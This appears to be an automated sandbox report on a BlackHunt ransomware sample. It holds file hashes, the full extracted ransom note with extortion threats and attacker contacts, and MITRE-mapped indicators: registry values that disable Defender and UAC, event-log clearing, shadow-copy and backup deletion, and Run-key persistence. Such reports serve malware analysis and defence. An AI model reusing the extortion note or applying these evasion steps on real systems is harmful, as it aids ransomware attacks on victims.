5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e

Analysis

max time kernel
151s
max time network
153s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 23:28

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General

Target

5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Size

707KB
MD5

3f61440941303e3d7cd69e2f8479549b
SHA1

d0b5a179e0c4e4f55fa64892b460ae61769494c6
SHA256

5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e
SHA512

68cfe05138b2ec7c86947b3adda3b6b503269bdf667ee215a6d4c0ad8bffbc1ff15087f602367becfdc579085b3d7b569c38b62f300064008370457f6f04a680
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n8ovnh:6uaTmkZJ+naie5OTamgEoKxLW2Wh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> MvCQ8y3q3dxHHHEY </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
4512	fsutil.exe
1968	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4344	wevtutil.exe
4424	wevtutil.exe
4432	wevtutil.exe
4448	wevtutil.exe
4492	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1676	bcdedit.exe
552	bcdedit.exe
4472	bcdedit.exe
4576	bcdedit.exe

Renames multiple (2702) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2340	wbadmin.exe
4536	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4892	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\H:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\E:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\R:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\G:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\U:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\M:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\N:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\K:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\X:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\Z:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\Q:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\L:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\O:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\V:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\S:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\J:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\B:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\W:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened (read-only)	\??\I:	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Novosibirsk	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSans.ttf	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\blacklist	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Reunion	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\about.html	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-api.xml	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-snaptracer.xml	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Currie	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santa_Isabel	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Chagos	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
